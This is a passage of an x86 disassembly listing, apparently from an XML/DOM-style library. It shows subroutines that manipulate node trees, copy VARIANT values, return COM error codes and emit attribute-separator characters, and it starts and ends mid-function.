; ---------------------------------------------------------------------------
loc_69B490E2: ; CODE XREF: sub_69B490BC+18j
test edi, edi
jz loc_69B49175
loc_69B490EA: ; CODE XREF: sub_69B490BC+24j
mov ecx, [ebp+arg_4]
push 0
lea eax, [ebp+arg_C]
push eax
push esi
call sub_69B4D2DF
cmp eax, edi
jz short loc_69B49175
mov eax, [ebp+arg_8]
cmp [ebp+arg_C], eax
jz short loc_69B49175
mov ecx, [ebp+arg_4]
push eax
push 0
push edi
push esi
call sub_69B4DCB3
mov edi, [ebp+arg_0]
push 20h
mov ecx, edi
call sub_69B8A903
push offset off_69B1F304
mov ecx, edi
call sub_69B8A970
test esi, esi
jz short loc_69B49146
push 3Ah
mov ecx, edi
call sub_69B8A903
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B8A970
loc_69B49146: ; CODE XREF: sub_69B490BC+70j
push 3Dh
mov ecx, edi
call sub_69B8A903
push 22h
mov ecx, edi
call sub_69B8A903
mov ecx, [ebx+10h]
test ecx, ecx
jz short loc_69B4916C
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B8A970
loc_69B4916C: ; CODE XREF: sub_69B490BC+A1j
push 22h
mov ecx, edi
call sub_69B8A903
loc_69B49175: ; CODE XREF: sub_69B490BC+1Ej
; sub_69B490BC+28j ...
pop edi
pop esi
pop ebx
pop ebp
retn 14h
sub_69B490BC endp
; =============== S U B R O U T I N E =======================================
sub_69B4917C proc near ; DATA XREF: .text:69B152D0o
; .text:69B1DD20o
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B49189
mov eax, [eax+8]
retn
; ---------------------------------------------------------------------------
loc_69B49189: ; CODE XREF: sub_69B4917C+7j
xor eax, eax
retn
sub_69B4917C endp
; =============== S U B R O U T I N E =======================================
sub_69B4918C proc near ; DATA XREF: .text:69B152D8o
; .text:69B1DD28o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+8]
mov eax, [eax+0Ch]
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
mov ecx, [ecx+70h]
push edx
push eax
call sub_69B4DFFF
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0F0h]
pop esi
retn 4
sub_69B4918C endp
; =============== S U B R O U T I N E =======================================
sub_69B491B5 proc near ; DATA XREF: .text:69B1536Co
; .text:69B1DDBCo
mov edx, [ecx+8]
mov eax, edx
shr eax, 0Bh
and al, 1
jnz short locret_69B491D0
shr edx, 10h
test dl, 1
jnz short locret_69B491D0
call sub_69B489AF
xor al, al
locret_69B491D0: ; CODE XREF: sub_69B491B5+Aj
; sub_69B491B5+12j
retn
sub_69B491B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B491D1 proc near ; DATA XREF: .text:69B152A0o
; .text:69B1DCF0o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jnz short loc_69B491EB
mov eax, 80004005h
jmp short loc_69B49214
; ---------------------------------------------------------------------------
loc_69B491EB: ; CODE XREF: sub_69B491D1+11j
push edi
push [ebp+arg_0]
lea ecx, [ebp+var_C]
push esi
call sub_69B1B406
mov ecx, [ebp+arg_0]
call sub_69B48B39
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B49214: ; CODE XREF: sub_69B491D1+18j
pop esi
leave
retn 4
sub_69B491D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49219 proc near ; CODE XREF: sub_69B3D2F2+4Fp
; sub_69B49504+73p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B1BE7F
cmp [ebp+arg_10], 0
mov esi, eax
jz short loc_69B4924F
push [ebp+arg_14]
push [ebp+arg_10]
call sub_69B190C1
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+114h]
jmp short loc_69B49262
; ---------------------------------------------------------------------------
loc_69B4924F: ; CODE XREF: sub_69B49219+1Cj
cmp [ebp+arg_C], 0
jz short loc_69B49262
push [ebp+arg_C]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+114h]
loc_69B49262: ; CODE XREF: sub_69B49219+34j
; sub_69B49219+3Aj
mov edi, [ebp+arg_8]
test edi, edi
jz short loc_69B49286
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+118h]
test al, al
jz short loc_69B4927E
mov ecx, edi
call sub_69B49504
loc_69B4927E: ; CODE XREF: sub_69B49219+5Cj
push esi
mov ecx, edi
call sub_69B483A4
loc_69B49286: ; CODE XREF: sub_69B49219+4Ej
pop edi
mov eax, esi
pop esi
pop ebp
retn 20h
sub_69B49219 endp
; =============== S U B R O U T I N E =======================================
sub_69B4928E proc near ; DATA XREF: .text:69B1DD1Co
push esi
mov esi, ecx
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jnz short loc_69B492A6
mov ecx, [esi+0Ch]
test ecx, ecx
jz short loc_69B492A6
mov eax, [ecx]
call dword ptr [eax+18h]
loc_69B492A6: ; CODE XREF: sub_69B4928E+Aj
; sub_69B4928E+11j
and byte ptr [esi+0Bh], 0DFh
mov eax, [esi+8]
mov ecx, eax
shr ecx, 1Eh
test cl, 1
jz short loc_69B492C0
mov ecx, esi
call sub_69B48E9F
jmp short loc_69B49314
; ---------------------------------------------------------------------------
loc_69B492C0: ; CODE XREF: sub_69B4928E+27j
shr eax, 12h
and eax, 3
jz short loc_69B492E0
cmp eax, 1
jle short loc_69B49314
cmp eax, 3
jg short loc_69B49314
mov eax, [esi]
mov ecx, esi
loc_69B492D6: ; CODE XREF: sub_69B4928E+64j
push 0
call dword ptr [eax+114h]
jmp short loc_69B49314
; ---------------------------------------------------------------------------
loc_69B492E0: ; CODE XREF: sub_69B4928E+38j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
mov eax, [esi]
mov ecx, esi
jz short loc_69B4930A
jmp short loc_69B492D6
; ---------------------------------------------------------------------------
loc_69B492F4: ; CODE XREF: sub_69B4928E+84j
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+100h]
push eax
mov ecx, esi
call sub_69B4843A
mov eax, [esi]
mov ecx, esi
loc_69B4930A: ; CODE XREF: sub_69B4928E+62j
call dword ptr [eax+108h]
test eax, eax
jnz short loc_69B492F4
loc_69B49314: ; CODE XREF: sub_69B4928E+30j
; sub_69B4928E+3Dj ...
push 0
add esi, 14h
push esi
call sub_69B17320
pop esi
retn
sub_69B4928E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49321 proc near ; CODE XREF: sub_69B49321+30p
; sub_69B49504+91p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
movzx eax, byte ptr [ebp+arg_0]
shl eax, 1Dh
push esi
mov esi, ecx
xor eax, [esi+8]
and eax, 20000000h
xor [esi+8], eax
cmp [ebp+arg_4], 0
jz short loc_69B49365
lea eax, [ebp+arg_4]
push eax
call sub_69B48DC1
jmp short loc_69B49361
; ---------------------------------------------------------------------------
loc_69B4934A: ; CODE XREF: sub_69B49321+42j
push 1
push [ebp+arg_0]
mov ecx, eax
call sub_69B49321
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_69B47D9F
loc_69B49361: ; CODE XREF: sub_69B49321+27j
test eax, eax
jnz short loc_69B4934A
loc_69B49365: ; CODE XREF: sub_69B49321+1Cj
pop esi
pop ebp
retn 8
sub_69B49321 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4936A proc near ; CODE XREF: sub_69B14EAC+178p
; sub_69B4AF3F+14Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi]
push edi
xor edi, edi
call dword ptr [eax+38h]
mov ecx, [ebp+arg_8]
test ecx, ecx
mov [ebp+var_4], eax
jnz short loc_69B49390
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov ecx, eax
loc_69B49390: ; CODE XREF: sub_69B4936A+18j
mov eax, [ebp+arg_0]
test eax, eax
mov ebx, [ebp+arg_4]
jnz short loc_69B493AE
test ecx, ecx
jz short loc_69B493BE
test byte ptr [ecx+0Bh], 1Fh
jnz short loc_69B493BE
push ebx
call sub_69B48E56
test eax, eax
jz short loc_69B493BE
loc_69B493AE: ; CODE XREF: sub_69B4936A+2Ej
push [ebp+var_4]
mov ecx, eax
call sub_69B8C678
mov edi, eax
test edi, edi
jnz short loc_69B493E5
loc_69B493BE: ; CODE XREF: sub_69B4936A+32j
; sub_69B4936A+38j ...
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
cmp dword ptr [eax+0Ch], 0
jz short loc_69B493E5
test ebx, ebx
jnz short loc_69B493D9
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov ebx, eax
loc_69B493D9: ; CODE XREF: sub_69B4936A+63j
push [ebp+var_4]
mov ecx, ebx
call sub_69B8B114
mov edi, eax
loc_69B493E5: ; CODE XREF: sub_69B4936A+52j
; sub_69B4936A+5Fj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B4936A endp
; =============== S U B R O U T I N E =======================================
sub_69B493EE proc near ; DATA XREF: .text:69B1DDD0o
push 24h
push offset dword_69B494F8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov eax, [ebp+8]
shl eax, 4
xor eax, [esi+8]
and eax, 3F0h
xor [esi+8], eax
mov eax, [esi+8]
cmp dword ptr [ebp+8], 0Ch
jge short loc_69B49452
shr eax, 11h
test al, 1
jz short loc_69B49435
lea edi, [esi+14h]
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+3Ch]
push eax
push edi
call sub_69B17320
and byte ptr [esi+0Ah], 0FDh
loc_69B49435: ; CODE XREF: sub_69B493EE+30j
cmp dword ptr [ebp+8], 0
setnz al
movzx eax, al
shl eax, 0Eh
xor eax, [esi+8]
and eax, 4000h
xor [esi+8], eax
jmp loc_69B494EE
; ---------------------------------------------------------------------------
loc_69B49452: ; CODE XREF: sub_69B493EE+29j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov [ebp-20h], eax
and dword ptr [ebp-4], 0
mov eax, [esi+8]
shr eax, 11h
test al, 1
jnz short loc_69B49475
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
loc_69B49475: ; CODE XREF: sub_69B493EE+7Aj
lea edi, [esi+14h]
mov eax, [edi]
mov [ebp-24h], eax
test eax, eax
jnz short loc_69B494D8
mov eax, [esi+0Ch]
mov [ebp-28h], eax
mov ecx, [eax+50h]
mov [ebp-2Ch], ecx
mov [ebp-30h], eax
push ecx
push eax
push dword ptr [ebp-20h]
push 10h
call sub_69B1BE7F
mov [ebp-34h], eax
mov word ptr [eax+8], 1
push eax
push edi
call sub_69B17320
jmp short loc_69B494D8
; ---------------------------------------------------------------------------
loc_69B494AE: ; DATA XREF: .text:69B494FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B494B7: ; DATA XREF: .text:69B49500o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov eax, [esi+8]
shr eax, 11h
test al, 1
jnz short loc_69B494D3
push dword ptr [ebp-20h]
lea eax, [esi+14h]
push eax
call sub_69B17320
loc_69B494D3: ; CODE XREF: sub_69B493EE+D7j
call sub_69B2E860
loc_69B494D8: ; CODE XREF: sub_69B493EE+91j
; sub_69B493EE+BEj
or dword ptr [ebp-4], 0FFFFFFFFh
or dword ptr [esi+8], 24000h
push dword ptr [ebp+0Ch]
mov ecx, [esi+14h]
call sub_69B48ED5
loc_69B494EE: ; CODE XREF: sub_69B493EE+5Fj
call sub_69B1853C
retn 8
sub_69B493EE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B494F8 dd 0FFFFFFFFh dd offset loc_69B494AE
dd offset loc_69B494B7
; =============== S U B R O U T I N E =======================================
sub_69B49504 proc near ; CODE XREF: sub_69B49219+60p
; sub_69B498EF+33p ...
push 24h
push offset dword_69B495E0
call sub_69B19C5C
mov esi, ecx
mov eax, [esi]
call dword ptr [eax+118h]
test al, al
jz loc_69B495D5
mov ecx, [esi+0Ch]
call sub_69B3D200
mov ebx, eax
mov [ebp-1Ch], ebx
mov ecx, ebx
call sub_69B2E22D
xor edi, edi
mov [ebp-4], edi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jz short loc_69B495AC
mov ecx, esi
call sub_69B1B42A
push eax
lea ecx, [ebp-28h]
call sub_69B11D3B
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
mov [ebp-2Ch], eax
mov eax, [esi+0Ch]
mov [ebp-30h], eax
push ebx
push eax
push edi
push edi
push dword ptr [ebp-2Ch]
push edi
push edi
push 1
call sub_69B49219
mov edi, eax
mov [ebp-34h], edi
or byte ptr [edi+0Ah], 1
push 1
mov eax, [esi+8]
shr eax, 1Dh
and eax, 0FFFFFF01h
push eax
mov ecx, edi
call sub_69B49321
push edi
mov ecx, esi
call sub_69B483A4
lea ecx, [ebp-28h]
call sub_69B1976C
jmp short loc_69B495AF
; ---------------------------------------------------------------------------
loc_69B495AC: ; CODE XREF: sub_69B49504+43j
mov [ebp-2Ch], edi
loc_69B495AF: ; CODE XREF: sub_69B49504+A6j
mov ecx, ebx
call sub_69B2E238
jmp short loc_69B495D1
; ---------------------------------------------------------------------------
loc_69B495B8: ; DATA XREF: .text:69B495E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B495C1: ; DATA XREF: .text:69B495E8o
mov esp, [ebp-18h]
mov ecx, [ebp-1Ch]
call sub_69B2E238
call sub_69B2E860
loc_69B495D1: ; CODE XREF: sub_69B49504+B2j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B495D5: ; CODE XREF: sub_69B49504+18j
call sub_69B1853C
retn
sub_69B49504 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B495E0 dd 0FFFFFFFFh dd offset loc_69B495B8
dd offset loc_69B495C1
; =============== S U B R O U T I N E =======================================
sub_69B495EC proc near ; CODE XREF: sub_69B495EC+A0p
; sub_69B497AC+Ap
push 30h
push offset dword_69B497A0
call sub_69B19C5C
mov esi, ecx
mov edi, [ebp+8]
push dword ptr [edi+8]
push dword ptr [edi+4]
push 0
push 1
call sub_69B1BE7F
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B4961F
push 8007000Eh
call sub_69B2E8B8
loc_69B4961F: ; CODE XREF: sub_69B495EC+27j
mov ecx, [esi+8]
mov [ebx+8], ecx
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jz short loc_69B49638
cmp byte ptr [edi+0Ch], 0
jnz short loc_69B49638
mov al, 1
jmp short loc_69B4963A
; ---------------------------------------------------------------------------
loc_69B49638: ; CODE XREF: sub_69B495EC+40j
; sub_69B495EC+46j
xor al, al
loc_69B4963A: ; CODE XREF: sub_69B495EC+4Aj
and eax, 1
or eax, 40h
shl eax, 0Ah
and ecx, 0FFFFFBFFh
or eax, ecx
mov [ebx+8], eax
movzx ecx, byte ptr [edi]
shl ecx, 1Dh
xor ecx, eax
and ecx, 20000000h
xor ecx, eax
mov [ebx+8], ecx
mov eax, [esi+8]
mov ecx, eax
and ecx, 1F000000h
cmp ecx, 3000000h
jnz short loc_69B49681
mov ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+14h]
jmp loc_69B49790
; ---------------------------------------------------------------------------
loc_69B49681: ; CODE XREF: sub_69B495EC+86j
shr eax, 11h
test al, 1
jz short loc_69B496A0
mov ecx, [esi+14h]
push edi
call sub_69B495EC
push eax
lea eax, [ebx+14h]
push eax
call sub_69B17320
jmp loc_69B49790
; ---------------------------------------------------------------------------
loc_69B496A0: ; CODE XREF: sub_69B495EC+9Aj
mov eax, [esi+14h]
test eax, eax
jz short loc_69B496C4
mov edx, [esi+0Ch]
mov ecx, [edi+4]
cmp ecx, edx
jz short loc_69B496BA
mov ecx, [ecx+70h]
push eax
call sub_69B48821
loc_69B496BA: ; CODE XREF: sub_69B495EC+C3j
push eax
lea eax, [ebx+14h]
push eax
call sub_69B17320
loc_69B496C4: ; CODE XREF: sub_69B495EC+B9j
mov eax, [esi+8]
shr eax, 12h
and eax, 3
dec eax
jz short loc_69B49721
dec eax
jz short loc_69B496FE
dec eax
jnz loc_69B49790
cmp byte ptr [edi+14h], 0
jnz loc_69B49790
mov edi, [ebx]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+11Ch]
push eax
mov ecx, ebx
call dword ptr [edi+120h]
jmp loc_69B49790
; ---------------------------------------------------------------------------
loc_69B496FE: ; CODE XREF: sub_69B495EC+E5j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
cmp byte ptr [edi+14h], 0
jz short loc_69B49714
push eax
call sub_69B2F0C4
loc_69B49714: ; CODE XREF: sub_69B495EC+120j
mov edx, [ebx]
push eax
mov ecx, ebx
call dword ptr [edx+114h]
jmp short loc_69B49790
; ---------------------------------------------------------------------------
loc_69B49721: ; CODE XREF: sub_69B495EC+E2j
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax ; pvarg
mov edi, VariantInit
call edi ; VariantInit
lea eax, [ebp-3Ch]
push eax ; pvarg
call edi ; VariantInit
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_69B48571
lea eax, [ebp-2Ch]
push eax ; pvargSrc
lea eax, [ebp-3Ch]
push eax ; pvargDest
call VariantCopy
mov [ebp-40h], eax
test eax, eax
jz short loc_69B4975D
push eax
call sub_69B2E8B8
loc_69B4975D: ; CODE XREF: sub_69B495EC+169j
lea eax, [ebp-3Ch]
push eax
mov ecx, ebx
call sub_69B48ED5
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B49790
; ---------------------------------------------------------------------------
loc_69B4976E: ; DATA XREF: .text:69B497A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B49777: ; DATA XREF: .text:69B497A8o
mov esp, [ebp-18h]
lea eax, [ebp-3Ch]
push eax ; pvarg
call VariantClear
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
loc_69B49790: ; CODE XREF: sub_69B495EC+90j
; sub_69B495EC+AFj ...
mov eax, ebx
call sub_69B1853C
retn 4
sub_69B495EC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B497A0 dd 0FFFFFFFFh dd offset loc_69B4976E
dd offset loc_69B49777
; =============== S U B R O U T I N E =======================================
sub_69B497AC proc near ; CODE XREF: sub_69B3D586+2Dp
; sub_69B3F90C+1CBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_69B495EC
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jz short loc_69B497F9
cmp byte ptr [esp+0Ch+arg_0], 0
jz short loc_69B4980E
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4980E
cmp byte ptr [ebx+14h], 0
jz short loc_69B497EC
push eax
call sub_69B2F0C4
loc_69B497EC: ; CODE XREF: sub_69B497AC+38j
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx+114h]
jmp short loc_69B4980E
; ---------------------------------------------------------------------------
loc_69B497F9: ; CODE XREF: sub_69B497AC+1Dj
test byte ptr [edi+0Ah], 0Ch
jnz short loc_69B4980E
push ebx
push edi
push 1
push [esp+18h+arg_0]
mov ecx, esi
call sub_69B49816
loc_69B4980E: ; CODE XREF: sub_69B497AC+24j
; sub_69B497AC+32j ...
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_69B497AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B49816 proc near ; CODE XREF: sub_69B3F90C+1C2p
; sub_69B3F90C+209p ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, [ebp+arg_C]
cmp byte ptr [edi+0Ch], 0
mov ebx, ecx
mov [ebp+var_4], ebx
jz short loc_69B49839
mov eax, [ebx+8]
shr eax, 14h
test al, 1
mov byte ptr [ebp+arg_C+3], 1
jz short loc_69B4983D
loc_69B49839: ; CODE XREF: sub_69B49816+13j
mov byte ptr [ebp+arg_C+3], 0
loc_69B4983D: ; CODE XREF: sub_69B49816+21j
cmp ebx, [edi+10h]
jnz short loc_69B49848
mov eax, [ebp+arg_8]
mov [edi+10h], eax
loc_69B49848: ; CODE XREF: sub_69B49816+2Aj
lea eax, [ebp+var_8]
push eax
mov ecx, ebx
call sub_69B48DC1
test eax, eax
jz loc_69B498E9
push esi
loc_69B4985C: ; CODE XREF: sub_69B49816+CCj
mov edx, [eax+8]
shr edx, 14h
and dl, 1
jz short loc_69B4986D
cmp [ebp+arg_4], 0
jnz short loc_69B49873
loc_69B4986D: ; CODE XREF: sub_69B49816+4Fj
cmp [ebp+arg_0], 0
jz short loc_69B498D5
loc_69B49873: ; CODE XREF: sub_69B49816+55j
test dl, dl
jnz short loc_69B49880
cmp [ebp+arg_0], dl
jnz short loc_69B49880
xor cl, cl
jmp short loc_69B49884
; ---------------------------------------------------------------------------
loc_69B49880: ; CODE XREF: sub_69B49816+5Fj
; sub_69B49816+64j
xor ecx, ecx
mov cl, 1
loc_69B49884: ; CODE XREF: sub_69B49816+68j
push edi
push ecx
mov ecx, eax
call sub_69B497AC
mov ecx, [ebp+arg_8]
mov esi, eax
push esi
call sub_69B483A4
cmp byte ptr [ebp+arg_C+3], 0
jz short loc_69B498D5
mov eax, [esi+8]
mov ecx, eax
shr ecx, 14h
test cl, 1
jz short loc_69B498D5
shr eax, 0Fh
test al, 1
jz short loc_69B498D5
mov ecx, [edi+4]
call sub_69B3DABE
push 0
push 0
mov ecx, esi
mov ebx, eax
call sub_69B4AD10
push [ebp+arg_8]
mov ecx, ebx
push eax
call sub_69B8B57E
mov ebx, [ebp+var_4]
loc_69B498D5: ; CODE XREF: sub_69B49816+5Bj
; sub_69B49816+86j ...
lea eax, [ebp+var_8]
push eax
mov ecx, ebx
call sub_69B47D9F
test eax, eax
jnz loc_69B4985C
pop esi
loc_69B498E9: ; CODE XREF: sub_69B49816+3Fj
pop edi
pop ebx
leave
retn 10h
sub_69B49816 endp
; =============== S U B R O U T I N E =======================================
sub_69B498EF proc near ; CODE XREF: sub_69B49BB6+3Ep
push 28h
push offset dword_69B499A0
call sub_69B19C5C
mov esi, ecx
mov edi, [esi+0Ch]
call sub_69B486D2
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jz loc_69B49998
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+118h]
test al, al
jz short loc_69B49927
mov ecx, ebx
call sub_69B49504
loc_69B49927: ; CODE XREF: sub_69B498EF+2Fj
mov ecx, edi
call sub_69B3D200
mov ebx, eax
mov [ebp-20h], ebx
mov ecx, ebx
call sub_69B2E22D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jnz short loc_69B49998
mov [ebp-4], eax
mov byte ptr [ebp-38h], 1
mov [ebp-34h], edi
mov [ebp-30h], ebx
mov [ebp-2Ch], al
mov [ebp-28h], eax
mov [ebp-24h], al
lea ecx, [ebp-38h]
push ecx
push esi
push eax
push 1
mov ecx, [ebp-1Ch]
call sub_69B49816
or byte ptr [esi+9], 20h
mov ecx, ebx
call sub_69B2E238
jmp short loc_69B49994
; ---------------------------------------------------------------------------
loc_69B4997B: ; DATA XREF: .text:69B499A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B49984: ; DATA XREF: .text:69B499A8o
mov esp, [ebp-18h]
mov ecx, [ebp-20h]
call sub_69B2E238
call sub_69B2E860
loc_69B49994: ; CODE XREF: sub_69B498EF+8Aj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B49998: ; CODE XREF: sub_69B498EF+1Dj
; sub_69B498EF+57j
call sub_69B1853C
retn
sub_69B498EF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B499A0 dd 0FFFFFFFFh dd offset loc_69B4997B
dd offset loc_69B49984
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B499AC proc near ; CODE XREF: sub_69B3D2F2+96p
; sub_69B4A3AE+125p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
push edi
jz short loc_69B499C5
push 8000FFFFh
call sub_69B2E8B8
loc_69B499C5: ; CODE XREF: sub_69B499AC+Dj
mov edi, [ebp+arg_0]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B499E8
mov eax, [edi]
push edi
mov ecx, edi
call dword ptr [eax+0F4h]
mov ecx, eax
call sub_69B4843A
loc_69B499E8: ; CODE XREF: sub_69B499AC+28j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jz short loc_69B499FD
mov ecx, esi
call sub_69B49504
loc_69B499FD: ; CODE XREF: sub_69B499AC+48j
mov eax, [edi+8]
shr eax, 14h
test al, 1
mov eax, [esi]
mov ecx, esi
jz loc_69B49AC6
call dword ptr [eax+108h]
test eax, eax
mov eax, [esi]
mov ecx, esi
jnz short loc_69B49A34
push edi
call dword ptr [eax+10Ch]
mov eax, [edi]
push edi
mov ecx, edi
call dword ptr [eax+104h]
jmp loc_69B49B83
; ---------------------------------------------------------------------------
loc_69B49A34: ; CODE XREF: sub_69B499AC+6Fj
call dword ptr [eax+108h]
mov edx, [eax]
mov ebx, eax
mov ecx, eax
mov [ebp+arg_0], eax
mov [ebp+arg_4], ebx
call dword ptr [edx+100h]
jmp short loc_69B49A6C
; ---------------------------------------------------------------------------
loc_69B49A4E: ; CODE XREF: sub_69B499AC+C8j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+100h]
mov ebx, eax
cmp ebx, [ebp+arg_0]
mov [ebp+arg_4], ebx
jz short loc_69B49A76
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+100h]
loc_69B49A6C: ; CODE XREF: sub_69B499AC+A0j
mov eax, [eax+8]
shr eax, 14h
test al, 1
jnz short loc_69B49A4E
loc_69B49A76: ; CODE XREF: sub_69B499AC+B4j
mov eax, [edi]
mov edx, [ebx]
mov ecx, ebx
mov [ebp+var_4], eax
call dword ptr [edx+100h]
push eax
mov eax, [ebp+var_4]
mov ecx, edi
call dword ptr [eax+104h]
mov ebx, [ebp+arg_4]
mov eax, [ebx]
push edi
mov ecx, ebx
call dword ptr [eax+104h]
cmp [ebp+arg_0], ebx
jnz loc_69B49B83
mov eax, [ebx+8]
shr eax, 14h
test al, 1
jz loc_69B49B83
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+10Ch]
jmp loc_69B49B83
; ---------------------------------------------------------------------------
loc_69B49AC6: ; CODE XREF: sub_69B499AC+5Dj
call dword ptr [eax+108h]
test eax, eax
jz loc_69B49BA7
mov eax, [ebp+arg_4]
test eax, eax
jz loc_69B49BA7
mov al, [eax+0Bh]
and al, 1Fh
cmp al, 0Fh
jnz short loc_69B49AF2
push 80070057h
call sub_69B2E8B8
loc_69B49AF2: ; CODE XREF: sub_69B499AC+13Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
mov ebx, eax
jmp short loc_69B49B2E
; ---------------------------------------------------------------------------
loc_69B49B00: ; CODE XREF: sub_69B499AC+18Fj
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+100h]
mov ebx, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
cmp ebx, eax
jnz short loc_69B49B2E
push 0
push 0C00CE206h
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B49B2E: ; CODE XREF: sub_69B499AC+152j
; sub_69B499AC+16Cj
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+100h]
cmp eax, [ebp+arg_4]
jnz short loc_69B49B00
push [ebp+arg_4]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+104h]
mov eax, [ebx]
push edi
mov ecx, ebx
call dword ptr [eax+104h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+100h]
cmp eax, [ebp+arg_4]
jnz short loc_69B49B83
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+104h]
loc_69B49B83: ; CODE XREF: sub_69B499AC+83j
; sub_69B499AC+F6j ...
mov eax, [esi+8]
shr eax, 0Ah
movzx eax, al
shl eax, 0Ah
xor eax, [edi+8]
push esi
and eax, 400h
